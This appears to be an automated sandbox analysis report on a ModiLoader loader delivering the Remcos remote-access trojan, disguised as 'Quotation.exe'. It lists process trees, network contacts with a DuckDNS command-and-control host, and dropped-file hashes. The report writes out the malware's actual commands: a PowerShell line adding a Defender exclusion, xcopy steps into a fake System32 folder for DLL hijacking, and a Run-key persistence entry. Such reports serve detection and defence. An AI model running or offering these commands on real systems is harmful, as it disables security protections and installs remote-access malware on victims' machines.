Malware Analysis Report

2024-12-07 22:33

Sample ID 240409-k42azaef8t
Target Quotation.exe
SHA256 aeee6a9e26b4d62ec9258b1b2d30aea108deefc6001c54fbb6704c1d72010eed
Tags
modiloader trojan remcos remotehost persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

aeee6a9e26b4d62ec9258b1b2d30aea108deefc6001c54fbb6704c1d72010eed

Threat Level: Known bad

The file Quotation.exe was found to be: Known bad.

Malicious Activity Summary

modiloader trojan remcos remotehost persistence rat

ModiLoader, DBatLoader

Remcos

ModiLoader Second Stage

Loads dropped DLL

Executes dropped EXE

Adds Run key to start application

Program crash

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Script User-Agent

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-09 09:10

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-09 09:10

Reported

2024-04-09 09:12

Platform

win7-20240221-en

Max time kernel

140s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Quotation.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\Quotation.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Quotation.exe

"C:\Users\Admin\AppData\Local\Temp\Quotation.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 704

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp

Files

memory/1912-0-0x00000000003F0000-0x00000000003F1000-memory.dmp

memory/1912-1-0x00000000031C0000-0x00000000041C0000-memory.dmp

memory/1912-2-0x00000000031C0000-0x00000000041C0000-memory.dmp

memory/1912-4-0x00000000003F0000-0x00000000003F1000-memory.dmp

memory/1912-5-0x0000000000400000-0x0000000000573000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-09 09:10

Reported

2024-04-09 09:12

Platform

win10v2004-20240226-en

Max time kernel

161s

Max time network

162s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Quotation.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows \System32\easinvoker.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\easinvoker.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Fkmbyyso = "C:\\Users\\Public\\Fkmbyyso.url" C:\Users\Admin\AppData\Local\Temp\Quotation.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Quotation.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4968 wrote to memory of 924 N/A C:\Users\Admin\AppData\Local\Temp\Quotation.exe C:\Windows\SysWOW64\cmd.exe
PID 4968 wrote to memory of 924 N/A C:\Users\Admin\AppData\Local\Temp\Quotation.exe C:\Windows\SysWOW64\cmd.exe
PID 4968 wrote to memory of 924 N/A C:\Users\Admin\AppData\Local\Temp\Quotation.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 1156 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 1156 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 1156 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 3744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 3744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 3744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 448 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 448 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 448 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 4088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 4088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 4088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 64 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 64 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 64 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 924 wrote to memory of 4192 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 4192 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 4192 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 924 wrote to memory of 3944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\easinvoker.exe
PID 924 wrote to memory of 3944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\easinvoker.exe
PID 3944 wrote to memory of 3704 N/A C:\Windows \System32\easinvoker.exe C:\Windows\system32\cmd.exe
PID 3944 wrote to memory of 3704 N/A C:\Windows \System32\easinvoker.exe C:\Windows\system32\cmd.exe
PID 3704 wrote to memory of 4320 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3704 wrote to memory of 4320 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4320 wrote to memory of 3128 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4320 wrote to memory of 3128 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4968 wrote to memory of 5104 N/A C:\Users\Admin\AppData\Local\Temp\Quotation.exe C:\Windows\SysWOW64\extrac32.exe
PID 4968 wrote to memory of 5104 N/A C:\Users\Admin\AppData\Local\Temp\Quotation.exe C:\Windows\SysWOW64\extrac32.exe
PID 4968 wrote to memory of 5104 N/A C:\Users\Admin\AppData\Local\Temp\Quotation.exe C:\Windows\SysWOW64\extrac32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Quotation.exe

"C:\Users\Admin\AppData\Local\Temp\Quotation.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\FkmbyysoO.bat" "

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y

C:\Windows \System32\easinvoker.exe

"C:\Windows \System32\easinvoker.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\windows \system32\aaa.bat""

C:\Windows\system32\cmd.exe

cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\Quotation.exe C:\\Users\\Public\\Libraries\\Fkmbyyso.PIF

Network

Country Destination Domain Proto
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp
US 8.8.8.8:53 g17tua.am.files.1drv.com udp
US 13.107.43.12:443 g17tua.am.files.1drv.com tcp
US 8.8.8.8:53 11.137.107.13.in-addr.arpa udp
US 8.8.8.8:53 12.43.107.13.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
N/A 127.0.0.1:47212 tcp
US 8.8.8.8:53 officerem.duckdns.org udp
US 23.95.235.29:47212 officerem.duckdns.org tcp
US 8.8.8.8:53 101.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 29.235.95.23.in-addr.arpa udp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 216.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 240.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 26.73.42.20.in-addr.arpa udp

Files

memory/4968-0-0x0000000000770000-0x0000000000771000-memory.dmp

memory/4968-1-0x0000000004140000-0x0000000005140000-memory.dmp

memory/4968-2-0x0000000004140000-0x0000000005140000-memory.dmp

memory/4968-4-0x0000000000400000-0x0000000000573000-memory.dmp

C:\Users\Public\Libraries\FkmbyysoO.bat

MD5 828ffbf60677999579dafe4bf3919c63
SHA1 a0d159a1b9a49e9eaccc53fe0c3266c0526a1bdc
SHA256 abac4a967800f5da708572ec42441ec373cd52459a83a8a382d6b8579482789d
SHA512 bf00909e24c5a6fb2346e8457a9adacd5f1b35988d90abbde9ff26896bbb59edafea60d9db4d10182a7b5e129bb69585d3e20bc5c63af3517b3a7ef1e45ffb7e

C:\Users\Public\Libraries\easinvoker.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

C:\Users\Public\Libraries\aaa.bat

MD5 f4e8f0ec6cfc5c6039402322685cb6ce
SHA1 1037835573c2886dda05d256f15306da89dc645e
SHA256 cd05094e213643d624996b98e14aa5f7a2363f63530fe0c99523f6948effe756
SHA512 c5f9dfbbdb437c8ef9e2dd53fcbafcb256ab4626b4637a21332b3112c20f0d5353674031aae21b57604ba80d3b3f51f11b0ed412ed5fa6641b32fc4793746e02

C:\Users\Public\Libraries\netutils.dll

MD5 30468939b69d5b1f29494fff5b161e6b
SHA1 3f900a76e5a00efd97c618c8cdaa55e66384618f
SHA256 7c6b2128913876dcb70603f2c00618d2e9057f381766565baf2a37100b85f1fd
SHA512 f59fc26b77b28bc0dce41f2542c95a0fcb32204cc2d840d7cf8e74e10fbfc238f0c360e3bb5d787f32c83668ad10bbe522e098ede52f178dd8555c7af530f27f

memory/3944-24-0x00000000613C0000-0x00000000613E3000-memory.dmp

memory/3128-27-0x00007FF841410000-0x00007FF841ED1000-memory.dmp

memory/3128-26-0x0000029506930000-0x0000029506952000-memory.dmp

memory/3128-28-0x0000029506920000-0x0000029506930000-memory.dmp

memory/3128-34-0x0000029506920000-0x0000029506930000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zc3igslv.lvi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3128-39-0x0000029506920000-0x0000029506930000-memory.dmp

memory/3128-42-0x00007FF841410000-0x00007FF841ED1000-memory.dmp

memory/4968-44-0x0000000000770000-0x0000000000771000-memory.dmp

memory/4968-50-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-52-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-53-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-54-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-55-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-56-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-59-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-60-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-61-0x0000000016680000-0x0000000017680000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 51ee5cdebd3df9844eb6a91a8cb8eeb3
SHA1 c03e979d4b3616d0b3a27ec2454ec5114f7ed143
SHA256 c21eb89008eff7b5a74de8f1f06bb2deb24a48f5c7071ebcb36692b5eef25655
SHA512 d23a552eae2792751d08b79eb04ab98e414ed7c77486e7a54701cd679000c8e26d65b09034c69e9e6dcaeb1636ab6a5c4b4bced03558f8c8a37ad0a28afebe2f

memory/4968-71-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-72-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-82-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-83-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-93-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-94-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-104-0x0000000016680000-0x0000000017680000-memory.dmp

memory/4968-105-0x0000000016680000-0x0000000017680000-memory.dmp